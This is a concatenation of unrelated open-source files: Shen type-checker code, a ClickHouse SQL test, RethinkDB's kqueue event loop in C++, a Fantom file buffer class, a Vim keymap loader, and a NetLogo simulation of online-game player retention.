Predicates (map (/. X (gensym cl)) A)
SearchLiterals (construct-search-literals
Predicates Variables
(protect Context_1957)
(protect Context1_1957))
SearchClauses (construct-search-clauses Predicates A Variables)
SideLiterals (construct-side-literals S)
PremissLiterals (map (/. X (construct-premiss-literal
X (empty? A)))
P)
(append SearchLiterals SideLiterals PremissLiterals)))
(define construct-search-literals
[] [] _ _ -> []
Predicates Variables Context Context1
-> (csl-help Predicates Variables Context Context1))
(define csl-help
[] [] In _ -> [[bind (protect ContextOut_1957) In]]
[P | Ps] [V | Vs] In Out -> [[P In Out | V] |
(csl-help Ps Vs Out (gensym (protect Context)))])
(define construct-search-clauses
[] [] [] -> skip
[Pred | Preds] [A | As] [V | Vs] -> (do (construct-search-clause Pred A V)
(construct-search-clauses Preds As Vs)))
(define construct-search-clause
Pred A V -> (s-prolog [(construct-base-search-clause Pred A V)
(construct-recursive-search-clause Pred A V)]))
(define construct-base-search-clause
Pred A V -> [[Pred [(mode-ify A) | (protect In_1957)] (protect In_1957) | V]
:- []])
(define construct-recursive-search-clause
Pred A V -> [[Pred [(protect Assumption_1957) | (protect Assumptions_1957)]
[(protect Assumption_1957) | (protect Out_1957)] | V]
:- [[Pred (protect Assumptions_1957) (protect Out_1957) | V]]])
(define construct-side-literals
[] -> []
[[if P] | Sides] -> [[when P] | (construct-side-literals Sides)]
[[let X Y] | Sides] -> [[is X Y] | (construct-side-literals Sides)]
[_ | Sides] -> (construct-side-literals Sides))
(define construct-premiss-literal
(@p A C) Flag -> [t* (recursive_cons_form C) (construct-context Flag A)]
! _ -> [cut (protect Throwcontrol)])
(define construct-context
true [] -> (protect Context_1957)
false [] -> (protect ContextOut_1957)
Flag [X | Y] -> [cons (recursive_cons_form X) (construct-context Flag Y)])
(define recursive_cons_form
[X | Y] -> [cons (recursive_cons_form X) (recursive_cons_form Y)]
X -> X)
(define preclude
Types -> (preclude-h (map (/. X (intern-type X)) Types)))
(define preclude-h
Types -> (let FilterDatatypes (set *datatypes*
(difference (value *datatypes*) Types))
(value *datatypes*)))
(define include
Types -> (include-h (map (/. X (intern-type X)) Types)))
(define include-h
Types -> (let ValidTypes (intersection Types (value *alldatatypes*))
NewDatatypes (set *datatypes*
(union ValidTypes (value *datatypes*)))
(value *datatypes*)))
(define preclude-all-but
Types -> (preclude-h (difference (value *alldatatypes*)
(map (/. X (intern-type X)) Types))))
(define include-all-but
Types -> (include-h (difference (value *alldatatypes*)
(map (/. X (intern-type X)) Types))))
(define synonyms-help
[] -> (update-demodulation-function
(value *tc*)
(mapcan (/. X (demod-rule X)) (value *synonyms*)))
[S1 S2 | S] -> (let Vs (difference (extract_vars S2) (extract_vars S1))
(if (empty? Vs)
(do (pushnew [S1 S2] *synonyms*)
(synonyms-help S))
(free_variable_warnings S2 Vs)))
_ -> (error "odd number of synonyms~%"))
(define pushnew
X Global -> (if (element? X (value Global))
(value Global)
(set Global [X | (value Global)])))
(define demod-rule
[S1 S2] -> [(rcons_form S1) -> (rcons_form S2)])
(define lambda-of-defun
[defun _ [Var] Body] -> (eval [/. Var Body]))
(define update-demodulation-function
TC? Rules -> (do (tc -)
(set *demodulation-function*
(lambda-of-defun
(elim-def [define demod
| (append Rules (default-rule))])))
(if TC? (tc +) skip)
synonyms))
(define default-rule
-> (protect [X -> X]))
)
| Shen | 4 | nondejus/shen-go | ShenOSKernel-22.2/sources/sequent.shen | [
"BSD-3-Clause"
] |
-- Tags: distributed
DROP TABLE IF EXISTS big_array;
CREATE TABLE big_array (x Array(UInt8)) ENGINE=TinyLog;
SET min_insert_block_size_rows = 0, min_insert_block_size_bytes = 0;
INSERT INTO big_array SELECT groupArray(number % 255) AS x FROM (SELECT * FROM system.numbers LIMIT 1000000);
SELECT sum(y) AS s FROM remote('127.0.0.{2,3}', currentDatabase(), big_array) ARRAY JOIN x AS y;
SELECT sum(s) FROM (SELECT y AS s FROM remote('127.0.0.{2,3}', currentDatabase(), big_array) ARRAY JOIN x AS y);
DROP TABLE big_array;
| SQL | 2 | pdv-ru/ClickHouse | tests/queries/0_stateless/00028_shard_big_agg_aj_distributed.sql | [
"Apache-2.0"
] |
// Copyright 2010-2014 RethinkDB, all rights reserved.
#if defined(__MACH__)
#include "arch/runtime/event_queue/kqueue.hpp"
#include <unistd.h>
#include <sys/types.h>
#include <sys/event.h>
#include <sys/time.h>
#include <set>
#include "arch/runtime/event_queue.hpp"
#include "arch/runtime/thread_pool.hpp"
#include "config/args.hpp"
#include "errors.hpp"
#include "perfmon/perfmon.hpp"
#include "utils.hpp"
std::set<int16_t> user_to_kevent_filters(int mode) {
rassert((mode & (poll_event_in | poll_event_out)) == mode);
std::set<int16_t> filters;
if (mode & poll_event_in) filters.insert(EVFILT_READ);
if (mode & poll_event_out) filters.insert(EVFILT_WRITE);
return filters;
}
int kevent_filter_to_user(int16_t filter) {
rassert(filter == EVFILT_READ || filter == EVFILT_WRITE);
if (filter == EVFILT_READ) return poll_event_in;
if (filter == EVFILT_WRITE) return poll_event_out;
unreachable();
}
kqueue_event_queue_t::kqueue_event_queue_t(linux_queue_parent_t *_parent)
: parent(_parent) {
// Create the kqueue
kqueue_fd = kqueue();
guarantee_err(kqueue_fd >= 0, "Could not create kqueue");
}
// Small helper function to call `kevent` with error checking
int call_kevent(int kq, const struct kevent *changelist, int nchanges,
struct kevent *eventlist, int nevents,
const struct timespec *timeout) {
int res;
do {
res = kevent(kq, changelist, nchanges, eventlist, nevents, timeout);
} while (res == -1 && get_errno() == EINTR);
// Apart from EINTR, it doesn't seem like there's any error code that we can
// really handle here. Terminate instead if the call failed.
guarantee_err(res != -1, "Call to kevent() failed");
return res;
}
void kqueue_event_queue_t::run() {
// Now, start the loop
while (!parent->should_shut_down()) {
// Grab the events from the kqueue!
nevents = call_kevent(kqueue_fd, nullptr, 0,
events, MAX_IO_EVENT_PROCESSING_BATCH_SIZE, nullptr);
block_pm_duration event_loop_timer(pm_eventloop_singleton_t::get());
for (int i = 0; i < nevents; i++) {
if (events[i].udata == nullptr) {
// The event was queued for a resource that's
// been destroyed, so forget_resource is kindly
// notifying us to skip it by setting `udata` to NULL.
continue;
} else {
linux_event_callback_t *cb =
reinterpret_cast<linux_event_callback_t *>(events[i].udata);
cb->on_event(kevent_filter_to_user(events[i].filter));
}
}
parent->pump();
}
}
kqueue_event_queue_t::~kqueue_event_queue_t() {
int res = close(kqueue_fd);
guarantee_err(res == 0, "Could not close kqueue");
}
void kqueue_event_queue_t::add_filters(fd_t resource, const std::set<int16_t> &filters,
linux_event_callback_t *cb) {
rassert(cb != nullptr);
for (auto filter : filters) {
struct kevent ev;
EV_SET(&ev, static_cast<uintptr_t>(resource), filter, EV_ADD, 0, 0, cb);
call_kevent(kqueue_fd, &ev, 1, nullptr, 0, nullptr);
}
}
void kqueue_event_queue_t::del_filters(fd_t resource, const std::set<int16_t> &filters,
linux_event_callback_t *cb) {
rassert(cb != nullptr);
for (auto filter : filters) {
struct kevent ev;
EV_SET(&ev, static_cast<uintptr_t>(resource), filter, EV_DELETE, 0, 0, cb);
call_kevent(kqueue_fd, &ev, 1, nullptr, 0, nullptr);
}
}
void kqueue_event_queue_t::watch_resource(fd_t resource, int event_mask,
linux_event_callback_t *cb) {
rassert(cb != nullptr);
// Start watching the events on `resource`
std::set<int16_t> filters = user_to_kevent_filters(event_mask);
add_filters(resource, filters, cb);
guarantee(watched_events.count(resource) == 0);
watched_events[resource] = event_mask;
}
void kqueue_event_queue_t::adjust_resource(fd_t resource, int event_mask,
linux_event_callback_t *cb) {
rassert(cb);
auto ev = watched_events.find(resource);
guarantee(ev != watched_events.end());
const std::set<int16_t> current_filters = user_to_kevent_filters(ev->second);
const std::set<int16_t> new_filters = user_to_kevent_filters(event_mask);
// We generate a diff to find out which filters we have to delete from the
// kqueue.
// On the other hand we re-add all events, which will cause kqueue to update the
// `udata` field (the callback) of the existing events in case it has changed.
std::set<int16_t> filters_to_del = current_filters;
for (auto f : new_filters) {
filters_to_del.erase(f);
}
// Apply the diff
del_filters(resource, filters_to_del, cb);
add_filters(resource, new_filters, cb);
ev->second = event_mask;
// Go through the queue of messages in the current poll cycle and
// clean out the ones that are referencing the filters that are being
// deleted.
//
// We also update the cb, in case we have changed it
// Note: we don't currently support changing the cb through `adjust_resource`
// in the epoll queue implementation. It is supported in the poll one though,
// and there's no reason for why we should not support it here.
for (int i = 0; i < nevents; i++) {
if (events[i].ident == static_cast<uintptr_t>(resource)) {
if (filters_to_del.count(events[i].filter) > 0) {
// No longer watching this event
events[i].udata = nullptr;
} else if (events[i].udata != nullptr) {
// Just update the cb, unless we had previously deleted this one.
events[i].udata = cb;
}
}
}
}
void kqueue_event_queue_t::forget_resource(fd_t resource, linux_event_callback_t *cb) {
rassert(cb);
// To stop watching all associated events, we have to re-generate the
// corresponding filters. `kqueue` identified an event by its `ident`, `filter`,
// pair so we generate an EV_DELETE kevent for each one.
auto ev = watched_events.find(resource);
guarantee(ev != watched_events.end());
std::set<int16_t> filters = user_to_kevent_filters(ev->second);
del_filters(resource, filters, cb);
watched_events.erase(ev);
// Go through the queue of messages in the current poll cycle and
// clean out the ones that are referencing the resource we're
// being asked to forget.
for (int i = 0; i < nevents; i++) {
if (events[i].ident == static_cast<uintptr_t>(resource)) {
rassert(events[i].udata == cb || events[i].udata == nullptr);
events[i].udata = nullptr;
}
}
}
void kqueue_event_queue_t::watch_event(system_event_t *ev, linux_event_callback_t *cb) {
watch_resource(ev->get_notify_fd(), poll_event_in, cb);
}
void kqueue_event_queue_t::forget_event(system_event_t *ev, linux_event_callback_t *cb) {
forget_resource(ev->get_notify_fd(), cb);
}
#endif // defined(__MACH__)
| C++ | 4 | zadcha/rethinkdb | src/arch/runtime/event_queue/kqueue.cc | [
"Apache-2.0"
] |
//
// Copyright (c) 2018, chunquedong
// Licensed under the Academic Free License version 3.0
//
// History:
// 2018-07-14 Jed Young
//
internal class FileBuf : Buf
{
private Int handle
new make(File file, Str mode) : super.privateMake() {
if (!init(file, mode)) {
throw IOErr("open file error: $file, $mode")
}
}
protected native Bool init(File file, Str mode)
native override Int size
native override Int capacity
native override Int pos
native override Int getByte(Int index)
native override Void setByte(Int index, Int byte)
native override Int getBytes(Int pos, Array<Int8> dst, Int off, Int len)
native override Void setBytes(Int pos, Array<Int8> src, Int off, Int len)
native override Bool close()
native override This sync()
override Endian endian {
set { in.endian = it; out.endian = it }
get { out.endian }
}
override Charset charset {
set { in.charset = it; out.charset = it }
get { out.charset }
}
}
| Fantom | 3 | fanx-dev/fanx | library/std/fan/io/FileBuf.fan | [
"AFL-3.0"
] |
let encoding = &enc
if encoding == ''
let encoding = 'utf-8'
endif
if encoding == 'utf-8'
source <sfile>:p:h/persian-iranian_utf-8.vim
endif
| VimL | 2 | uga-rosa/neovim | runtime/keymap/persian.vim | [
"Vim"
] |
turtles-own [
;Psychological attributes:
mA ;Motivation for achievement
mS ;Motivation for sociability
social-need ;Expected interaction
achiev-need ;Expected challenge
interest ;Experienced interest for the game
tolerance ;Tolerance to frustration
ret-mem ;Memory given to retribution
soc-mem ;Memory given to socialization
time ;Time available to play
;Game-related attributes:
ingame ;0=potential player, 1=currently playing, 2=stopped playing
month-entry
week ;week of the monthly subscription they are currently on (1-4)
level ;in-game character level, allows to evaluate time needed to get achievments and sociability
retribution
interaction
decision ;Evaluation for staying next month: 0=leave, 1=stay
initial-cost;Cost of entry,
]
globals [
temp befriend ;Used as temporal variable
year-entry
]
to setup
clear-all
reset-ticks
set year-entry []
;WoW Vanilla Settings. Challenge: Effort requiered to be overcomed by Time (assuming RPGame requires time investment but not high skills). Sociability: Level of Interaction provided by Game Mechanics.
set Challenge 25
set Sociability 75
crt players [
setxy random 100 random 100
set shape "circle" set color red set size 1
;Gamer Atributes:
;Threshold to become interested in playing. Decision to play is also influenced by amount of friends playing.
set initial-cost (random-normal Initial 500)
;Motivation Overall or Interest.
;Interest in general, Tolerance in general. If interest becomes lower than tolerated then user decides to quit the game.
set interest (random-normal 5 1)
if interest < 0 [ set interest 1]
set tolerance (interest / 2)
;Casual relationships and Friends needed to fulfill socialization needs:
set social-need ((random-normal 3 1))
set time (random-normal 22 3)
if time < 0 [set time 1]
if time > 70 [set time 70]
;Motivation Thresholds> Gives relevance to: Achievment and Social.
update-motivation
;Game Related Conditions
set decision 0
set ingame 0
set week 0
set level 0
set retribution 1
set interaction 1
set ret-mem [0 0 0]
set soc-mem [0 0 0]
set month-entry 1000
;Get some friends in real-world:
if RL-Friends > random players [create-link-with one-of turtles with [self != myself] ask my-links [set color red]]
]
;Visual layout arrangement.
repeat 10 [layout-spring (turtles with [any? link-neighbors]) links 0.1 0.1 0.5]
end
to update-motivation
;Normal distributed motivation
set mA random-normal mA-mean 2.5
set mS random-normal mS-mean 2.5
end
; The Simulation Process: The simulation runs for 9 years, each Tick is a week. Every certain periods the Game changes its Settings (Challenge and Sociability) [to extension].
; Players decide to enter the game or not [to enter-game]. If they are in the game they play, during gameplay players may form casual relationships or
; friendships. The evaluation of staying in the game goes through Retribution in Achievement (time vs Challenge) or Interaction in Socialization
; (Friends vs Desired-Minimum-Socialization (soc-need). Players compare their actual experience with the last week, if they feel they interact or achieve
; more they get interested in playing more. Decision about which element to consider is prioritized by mA and mS in a Fast and Frugal decision tree.
to go
ifelse Predict? [if ticks > 700 [ record-year-entry stop]][if ticks > 470 [ record-year-entry stop ]]
expansion
enter-game
play-game
assess-next-month
lose-connection
layout
plotitout
leave-game
tick
end
;Game Settings of Different Game Phases or Expansions
to expansion
;If Forecasting allows to
if Predict? and ticks = 476 [print "Warlords of Draenor" set Challenge Test-C set Sociability Test-S]
ifelse ticks = 376 [print "Pandaria" set Challenge (Challenge - 5)] ;
[ifelse ticks = 292 [print "Cataclysm" set Challenge (Challenge - 5) set Sociability (Sociability - 10)] ;Game easier for lvl 1-80, "Raid finder", Battleground finder.
[ifelse ticks = 192 [print "Lich King" set Challenge (Challenge - 5) set Sociability (Sociability - 10)] ;Game easier for lvl 1-70, "Dungeon Finder" (social short-cut).
[if ticks = 104 [print "Burning Crusade" set Challenge (Challenge)]]]] ;Game made easier for levels 1-60, Dungeons more accessible to players.
end
to play-game
ask turtles [
;Visual display of status.
ifelse ingame = 1 [set color green][set color red]
;Active-players actions:
if ingame = 1 [
;Asuming a certain time and a difficult threshold does not represent END-GAME + DECICATED PLAYERS which may be a significant part of the game adaptive system.
;While playing players deal with progress and its difficulty (if the time required is too high or too low they lose interest).
ifelse time > Challenge [ifelse time > (Challenge * 2) [set retribution (retribution - 1)] ;Too high.
[set retribution (retribution + 1)]] ;Acceptable challenge according to time available.
[set retribution (retribution - 1)] ;Too low.
;While playing they also interact and form friendships.
ifelse Sociability > random 100 [ friend ][ unfriend ]
;Amount of relationships (casual and friends) affect interaction levels.
ifelse (count link-neighbors with [ingame = 1]) > social-need [set interaction (interaction + 1)][set interaction (interaction - 1)]
;Update Memory
set ret-mem fput retribution ret-mem
set soc-mem fput interaction soc-mem
;Time passes for players.
set week (week + 1)
if week > 4 [set week 1]
;Forget last item of memory
set ret-mem butlast ret-mem
set soc-mem butlast soc-mem
]
]
end
to assess-next-month
;Every 4 weeks players evaluate if they want to play another month. The process is made by a Fast and Frugal decision tree arranged by priority of Motivation (mA or mS)
ask turtles [
if ingame = 1 and week = 4[
ifelse interest < tolerance [set decision 0][set decision 1]
if mA > mS [
ifelse (first ret-mem < item 1 ret-mem) [set interest (interest - 0.1)] [ifelse (first soc-mem < item 1 soc-mem) [set interest (interest + 0.05)][set interest (interest - 0.1)]]] ;MUY SIMILAR HAY QUE CAMBIAR
if mS > mA [
ifelse (first soc-mem < item 1 soc-mem) [set interest (interest - 0.1)] [ifelse (first ret-mem < item 1 ret-mem) [set interest (interest + 0.05)][set interest (interest - 0.1)]]]
]
]
end
to enter-game
;For those out of the game (ingame = 0 or 2)
ask turtles [
;Never played the game:
if ingame = 0 [ifelse count link-neighbors with [color = red] > ((social-need) / 2) [set ingame 1 set color green set decision 1 set month-entry ticks] ;Enters by Friend Rec.
[if 1 > random 200 [if initial-cost < (count turtles with [ingame = 1]) [set ingame 1 set decision 1 set month-entry ticks]]]] ;Enters by Community Rec.
;Already played:
if ingame = 2 [ifelse mA > mS [if 1 > random 1000 [set ingame 1 set color green set decision 1 set interest (tolerance + 1)]]
[if count link-neighbors with [color = green] > social-need [set ingame 1 set color green set decision 1 if interest < tolerance [set interest (tolerance + 1)]]]]
]
end
to leave-game ;get leave rate, timing
ask turtles [
if decision = 0 and ingame = 1 [set ingame 2 set color red] ;if the interest comes lower to the tolerance level he leaves
]
end
;Friend - Unfriend
to friend
repeat Friend-factor [
set temp (random players)
ask turtle (temp) [if ingame = 1 [set befriend 1]]
;Take a random turtle. If it is inside the game allow to make friends with the other turtle (befriend = 1).
;If already has a casual relationship it has a probability to establish a friendship with the linked turtle.
ifelse link-neighbor? turtle (temp) [if random 10 < 1 [if (count my-links with [color = green]) > 0 [ask one-of my-links with [color = green] [set color blue]]]]
;If they are not connected then they generate a casual relationship.
[if temp != who and befriend = 1[create-link-with turtle (temp) ]
ask my-links with [other-end = turtle (temp)] [set color green]
set befriend 0]]
end
to unfriend
;Loses casual relationships.
if count my-links with [color = green] > 0 [
ask my-links with [color = green] [die]
]
end
to lose-connection
;When turtle leaves the game has a probability to lose friends.
ask turtles [
if ingame = 2 [
if 1 > random 10 [if (count my-links with [color = green]) > 0 [ask one-of my-links with [color = green][die]]]
]
if 1 > random 10000 [if count my-links with [color = blue] > 0 [ask one-of my-links with [color = blue][die]]] ;Is real to consider but strong frienships are considered permanent in the model
]
end
to layout
layout-spring (turtles with [any? link-neighbors]) links 0.1 0.1 3 ;Spreads nodes to show a clear view of the network (not really)
end
to plotitout
set-current-plot "Active-Players"
set-current-plot-pen "Players"
plot count turtles with [ingame = 1]
set-current-plot-pen "pen-1"
plot 0
;Marks to show Expansion Releases:
if ticks = 104 [plot 200]
if ticks = 192 [plot 200]
if ticks = 292 [plot 200]
if ticks = 376 [plot 200]
if ticks = 476 [plot 200]
set-current-plot "Friends"
set-current-plot-pen "Real life"
plot count links with [color = red]
set-current-plot-pen "Mates"
plot count links with [color = green]
set-current-plot-pen "Friends"
plot count links with [color = blue]
set-current-plot "Motivation Activity"
set-current-plot-pen "Achievement"
plot count turtles with [mA > mS and ingame = 1]
set-current-plot-pen "Social"
plot count turtles with [mS > mA and ingame = 1]
set-current-plot "First Play Distribution"
set-current-plot-pen "Frequency"
set-plot-pen-mode 1
plot-pen-reset
set-plot-pen-color blue
plot count turtles with [month-entry < 8]
plot (count turtles with [month-entry < 112]) - (count turtles with [month-entry < 60])
plot (count turtles with [month-entry < 164]) - (count turtles with [month-entry < 112])
plot (count turtles with [month-entry < 216]) - (count turtles with [month-entry < 164])
plot (count turtles with [month-entry < 268]) - (count turtles with [month-entry < 216])
plot (count turtles with [month-entry < 320]) - (count turtles with [month-entry < 268])
plot (count turtles with [month-entry < 372]) - (count turtles with [month-entry < 320])
plot (count turtles with [month-entry < 424]) - (count turtles with [month-entry < 372])
end
to record-year-entry
set year-entry lput (count turtles with [month-entry < 8]) year-entry
set year-entry lput ((count turtles with [month-entry < 112]) - (count turtles with [month-entry < 60])) year-entry
set year-entry lput ((count turtles with [month-entry < 164]) - (count turtles with [month-entry < 112])) year-entry
set year-entry lput ((count turtles with [month-entry < 216]) - (count turtles with [month-entry < 164])) year-entry
set year-entry lput ((count turtles with [month-entry < 268]) - (count turtles with [month-entry < 216])) year-entry
set year-entry lput ((count turtles with [month-entry < 320]) - (count turtles with [month-entry < 268])) year-entry
set year-entry lput ((count turtles with [month-entry < 372]) - (count turtles with [month-entry < 320])) year-entry
set year-entry lput ((count turtles with [month-entry < 424]) - (count turtles with [month-entry < 372])) year-entry
print year-entry
end
@#$#@#$#@
GRAPHICS-WINDOW
210
10
725
446
-1
-1
5.0
1
10
1
1
1
0
1
1
1
0
100
0
80
0
0
1
ticks
30.0
BUTTON
12
12
76
45
NIL
Setup\n
NIL
1
T
OBSERVER
NIL
S
NIL
NIL
1
BUTTON
78
12
141
45
NIL
Go
T
1
T
OBSERVER
NIL
G
NIL
NIL
1
PLOT
749
169
949
319
Friends
NIL
NIL
0.0
10.0
0.0
10.0
true
true
"" ""
PENS
"Real life" 1.0 0 -2674135 true "" "plot count links with [color = red]"
"Mates" 1.0 0 -13840069 true "" "plot count links with [color = green]"
"Friends" 1.0 0 -13345367 true "" "plot count links with [color = blue]"
PLOT
956
10
1156
160
Active-Players
NIL
NIL
0.0
10.0
0.0
10.0
true
false
"" ""
PENS
"Players" 1.0 0 -16777216 true "" ""
"pen-1" 1.0 0 -2674135 true "" ""
MONITOR
1158
10
1262
55
Average Friends
(count links with [color = green]) / count turtles with [ingame = 1]
17
1
11
SLIDER
12
56
184
89
mA-mean
mA-mean
0
10
7.5
0.5
1
NIL
HORIZONTAL
SLIDER
12
95
184
128
mS-mean
mS-mean
0
10
7
0.5
1
NIL
HORIZONTAL
PLOT
956
169
1156
319
Motivation Activity
NIL
NIL
0.0
10.0
0.0
10.0
true
false
"" ""
PENS
"Achievement" 1.0 0 -10899396 true "" ""
"Social" 1.0 0 -13345367 true "" ""
BUTTON
143
12
206
45
Step
Go
NIL
1
T
OBSERVER
NIL
NIL
NIL
NIL
1
SLIDER
11
370
183
403
Challenge
Challenge
0
70
20
1
1
NIL
HORIZONTAL
SLIDER
11
409
183
442
Sociability
Sociability
0
100
65
1
1
NIL
HORIZONTAL
SLIDER
12
132
184
165
RL-Friends
RL-Friends
0
1000
30
5
1
NIL
HORIZONTAL
PLOT
749
11
949
161
First Play Distribution
NIL
NIL
0.0
10.0
0.0
10.0
true
false
"" ""
PENS
"Frequency" 1.0 1 -13345367 true "" ""
SLIDER
12
169
184
202
Initial
Initial
0
1500
150
10
1
NIL
HORIZONTAL
SLIDER
13
293
185
326
Friend-factor
Friend-factor
0
20
5
1
1
NIL
HORIZONTAL
SWITCH
747
388
850
421
Predict?
Predict?
1
1
-1000
SLIDER
861
377
1033
410
Test-C
Test-C
0
100
25
5
1
NIL
HORIZONTAL
SLIDER
861
413
1033
446
Test-S
Test-S
0
100
95
5
1
NIL
HORIZONTAL
INPUTBOX
55
217
122
277
players
1000
1
0
Number
@#$#@#$#@
## WHAT IS IT?
This model attempts to
## HOW IT WORKS
(what rules the agents use to create the overall behavior of the model)
## HOW TO USE IT
(how to use the model, including a description of each of the items in the Interface tab)
## THINGS TO NOTICE
(suggested things for the user to notice while running the model)
## THINGS TO TRY
(suggested things for the user to try to do (move sliders, switches, etc.) with the model)
## EXTENDING THE MODEL
(suggested things to add or change in the Code tab to make the model more complicated, detailed, accurate, etc.)
## NETLOGO FEATURES
(interesting or unusual features of NetLogo that the model uses, particularly in the Code tab; or where workarounds were needed for missing features)
## RELATED MODELS
(models in the NetLogo Models Library and elsewhere which are of related interest)
## CREDITS AND REFERENCES
(a reference to the model's URL on the web if it has one, as well as any other necessary credits, citations, and links)
@#$#@#$#@
default
true
0
Polygon -7500403 true true 150 5 40 250 150 205 260 250
airplane
true
0
Polygon -7500403 true true 150 0 135 15 120 60 120 105 15 165 15 195 120 180 135 240 105 270 120 285 150 270 180 285 210 270 165 240 180 180 285 195 285 165 180 105 180 60 165 15
arrow
true
0
Polygon -7500403 true true 150 0 0 150 105 150 105 293 195 293 195 150 300 150
box
false
0
Polygon -7500403 true true 150 285 285 225 285 75 150 135
Polygon -7500403 true true 150 135 15 75 150 15 285 75
Polygon -7500403 true true 15 75 15 225 150 285 150 135
Line -16777216 false 150 285 150 135
Line -16777216 false 150 135 15 75
Line -16777216 false 150 135 285 75
bug
true
0
Circle -7500403 true true 96 182 108
Circle -7500403 true true 110 127 80
Circle -7500403 true true 110 75 80
Line -7500403 true 150 100 80 30
Line -7500403 true 150 100 220 30
butterfly
true
0
Polygon -7500403 true true 150 165 209 199 225 225 225 255 195 270 165 255 150 240
Polygon -7500403 true true 150 165 89 198 75 225 75 255 105 270 135 255 150 240
Polygon -7500403 true true 139 148 100 105 55 90 25 90 10 105 10 135 25 180 40 195 85 194 139 163
Polygon -7500403 true true 162 150 200 105 245 90 275 90 290 105 290 135 275 180 260 195 215 195 162 165
Polygon -16777216 true false 150 255 135 225 120 150 135 120 150 105 165 120 180 150 165 225
Circle -16777216 true false 135 90 30
Line -16777216 false 150 105 195 60
Line -16777216 false 150 105 105 60
car
false
0
Polygon -7500403 true true 300 180 279 164 261 144 240 135 226 132 213 106 203 84 185 63 159 50 135 50 75 60 0 150 0 165 0 225 300 225 300 180
Circle -16777216 true false 180 180 90
Circle -16777216 true false 30 180 90
Polygon -16777216 true false 162 80 132 78 134 135 209 135 194 105 189 96 180 89
Circle -7500403 true true 47 195 58
Circle -7500403 true true 195 195 58
circle
false
0
Circle -7500403 true true 0 0 300
circle 2
false
0
Circle -7500403 true true 0 0 300
Circle -16777216 true false 30 30 240
cow
false
0
Polygon -7500403 true true 200 193 197 249 179 249 177 196 166 187 140 189 93 191 78 179 72 211 49 209 48 181 37 149 25 120 25 89 45 72 103 84 179 75 198 76 252 64 272 81 293 103 285 121 255 121 242 118 224 167
Polygon -7500403 true true 73 210 86 251 62 249 48 208
Polygon -7500403 true true 25 114 16 195 9 204 23 213 25 200 39 123
cylinder
false
0
Circle -7500403 true true 0 0 300
dot
false
0
Circle -7500403 true true 90 90 120
face happy
false
0
Circle -7500403 true true 8 8 285
Circle -16777216 true false 60 75 60
Circle -16777216 true false 180 75 60
Polygon -16777216 true false 150 255 90 239 62 213 47 191 67 179 90 203 109 218 150 225 192 218 210 203 227 181 251 194 236 217 212 240
face neutral
false
0
Circle -7500403 true true 8 7 285
Circle -16777216 true false 60 75 60
Circle -16777216 true false 180 75 60
Rectangle -16777216 true false 60 195 240 225
face sad
false
0
Circle -7500403 true true 8 8 285
Circle -16777216 true false 60 75 60
Circle -16777216 true false 180 75 60
Polygon -16777216 true false 150 168 90 184 62 210 47 232 67 244 90 220 109 205 150 198 192 205 210 220 227 242 251 229 236 206 212 183
fish
false
0
Polygon -1 true false 44 131 21 87 15 86 0 120 15 150 0 180 13 214 20 212 45 166
Polygon -1 true false 135 195 119 235 95 218 76 210 46 204 60 165
Polygon -1 true false 75 45 83 77 71 103 86 114 166 78 135 60
Polygon -7500403 true true 30 136 151 77 226 81 280 119 292 146 292 160 287 170 270 195 195 210 151 212 30 166
Circle -16777216 true false 215 106 30
flag
false
0
Rectangle -7500403 true true 60 15 75 300
Polygon -7500403 true true 90 150 270 90 90 30
Line -7500403 true 75 135 90 135
Line -7500403 true 75 45 90 45
flower
false
0
Polygon -10899396 true false 135 120 165 165 180 210 180 240 150 300 165 300 195 240 195 195 165 135
Circle -7500403 true true 85 132 38
Circle -7500403 true true 130 147 38
Circle -7500403 true true 192 85 38
Circle -7500403 true true 85 40 38
Circle -7500403 true true 177 40 38
Circle -7500403 true true 177 132 38
Circle -7500403 true true 70 85 38
Circle -7500403 true true 130 25 38
Circle -7500403 true true 96 51 108
Circle -16777216 true false 113 68 74
Polygon -10899396 true false 189 233 219 188 249 173 279 188 234 218
Polygon -10899396 true false 180 255 150 210 105 210 75 240 135 240
house
false
0
Rectangle -7500403 true true 45 120 255 285
Rectangle -16777216 true false 120 210 180 285
Polygon -7500403 true true 15 120 150 15 285 120
Line -16777216 false 30 120 270 120
leaf
false
0
Polygon -7500403 true true 150 210 135 195 120 210 60 210 30 195 60 180 60 165 15 135 30 120 15 105 40 104 45 90 60 90 90 105 105 120 120 120 105 60 120 60 135 30 150 15 165 30 180 60 195 60 180 120 195 120 210 105 240 90 255 90 263 104 285 105 270 120 285 135 240 165 240 180 270 195 240 210 180 210 165 195
Polygon -7500403 true true 135 195 135 240 120 255 105 255 105 285 135 285 165 240 165 195
line
true
0
Line -7500403 true 150 0 150 300
line half
true
0
Line -7500403 true 150 0 150 150
pentagon
false
0
Polygon -7500403 true true 150 15 15 120 60 285 240 285 285 120
person
false
0
Circle -7500403 true true 110 5 80
Polygon -7500403 true true 105 90 120 195 90 285 105 300 135 300 150 225 165 300 195 300 210 285 180 195 195 90
Rectangle -7500403 true true 127 79 172 94
Polygon -7500403 true true 195 90 240 150 225 180 165 105
Polygon -7500403 true true 105 90 60 150 75 180 135 105
plant
false
0
Rectangle -7500403 true true 135 90 165 300
Polygon -7500403 true true 135 255 90 210 45 195 75 255 135 285
Polygon -7500403 true true 165 255 210 210 255 195 225 255 165 285
Polygon -7500403 true true 135 180 90 135 45 120 75 180 135 210
Polygon -7500403 true true 165 180 165 210 225 180 255 120 210 135
Polygon -7500403 true true 135 105 90 60 45 45 75 105 135 135
Polygon -7500403 true true 165 105 165 135 225 105 255 45 210 60
Polygon -7500403 true true 135 90 120 45 150 15 180 45 165 90
sheep
false
15
Circle -1 true true 203 65 88
Circle -1 true true 70 65 162
Circle -1 true true 150 105 120
Polygon -7500403 true false 218 120 240 165 255 165 278 120
Circle -7500403 true false 214 72 67
Rectangle -1 true true 164 223 179 298
Polygon -1 true true 45 285 30 285 30 240 15 195 45 210
Circle -1 true true 3 83 150
Rectangle -1 true true 65 221 80 296
Polygon -1 true true 195 285 210 285 210 240 240 210 195 210
Polygon -7500403 true false 276 85 285 105 302 99 294 83
Polygon -7500403 true false 219 85 210 105 193 99 201 83
square
false
0
Rectangle -7500403 true true 30 30 270 270
square 2
false
0
Rectangle -7500403 true true 30 30 270 270
Rectangle -16777216 true false 60 60 240 240
star
false
0
Polygon -7500403 true true 151 1 185 108 298 108 207 175 242 282 151 216 59 282 94 175 3 108 116 108
target
false
0
Circle -7500403 true true 0 0 300
Circle -16777216 true false 30 30 240
Circle -7500403 true true 60 60 180
Circle -16777216 true false 90 90 120
Circle -7500403 true true 120 120 60
tree
false
0
